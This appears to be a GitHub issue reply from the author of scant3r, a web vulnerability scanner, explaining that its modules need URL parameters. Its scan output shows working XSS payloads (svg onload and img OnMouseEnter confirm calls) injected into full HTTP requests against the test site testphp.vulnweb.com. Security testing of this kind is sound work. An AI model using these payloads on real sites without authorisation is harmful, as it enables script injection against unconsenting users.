scant3r is not working

[knassar702]

scant3r is not working

[knassar702]

hello @Nithissh0708 thanks for this issue , Most of scant3r models need parameters in the urls , for example

• http://testphp.vulnweb.com/listproducts.php?cat=1
• http://testphp.vulnweb.com/listproducts.php

knassar702@DogePc:~/projects/scant3r$ cat list.txt | ./scant3r.py -m xss 

   ____              __  ____
  / __/______ ____  / /_|_  /____
 _\ \/ __/ _ `/ _ \/ __//_ </ __/
/___/\__/\_,_/_//_/\__/____/_/

[!] Coded by: Khaled Nassar @knassar702
[!] Version: 0.7#Beta

[+] XSS: http://testphp.vulnweb.com/listproducts.php
  Method: GET
  params: cat=1">ScanT3r<svg/onload=confirm(/ScanT3r/)>web"
  payload: ">ScanT3r<svg/onload=confirm(/ScanT3r/)>web"
---- Request ----

GET http://testphp.vulnweb.com/listproducts.php?cat=1%22%3EScanT3r%3Csvg/onload=confirm(/ScanT3r/)%3Eweb%22 HTTP/1.1
User-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


--------

you can use -g option for add generate famous parameters to your URL

$ echo 'http://knassar702.github.io/' | ./scant3r.py -g

# https://knassar702.github.io/?q=&searchFor=&query=&Searchfor=goButton=&s=&search=&id=&keyword=&query=&page=&keywords=&url=&view=&cat=&name=&key=&p=&test=&artist=&user=&username=&group=


knassar702@DogePc:~/projects/scant3r$ echo 'http://testphp.vulnweb.com/listproducts.php' | ./scant3r.py -m xss -g
                          __ _____     
   ______________ _____  / /|__  /_____
  / ___/ ___/ __ `/ __ \/ __//_ </ ___/
 (__  ) /__/ /_/ / / / / /____/ / /    
/____/\___/\__,_/_/ /_/\__/____/_/ 

[!] Coded by: Khaled Nassar @knassar702
[!] Version: 0.7#Beta

[+] XSS: http://testphp.vulnweb.com/listproducts.php
  Method: GET
  params: q=&searchFor=&query=&Searchfor=goButton=&s=&search=&id=&keyword=&query=&page=&keywords=&url=&view=&cat="><img src=x OnMouseEnter=(confirm)(1)>ScanT3r&name=&key=&p=&test=&artist=&user=&username=&group=
  payload: "><img src=x OnMouseEnter=(confirm)(1)>ScanT3r
---- Request ----

GET http://testphp.vulnweb.com/listproducts.php?q=&searchFor=&query=&Searchfor=goButton=&s=&search=&id=&keyword=&query=&page=&keywords=&url=&view=&cat=%22%3E%3Cimg%20src=x%20OnMouseEnter=(confirm)(1)%3EScanT3r&name=&key=&p=&test=&artist=&user=&username=&group= HTTP/1.1
User-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


--------

if you think scant3r doesn't work for another reason , feel free for reopen this issue

---

best regards
@knassar702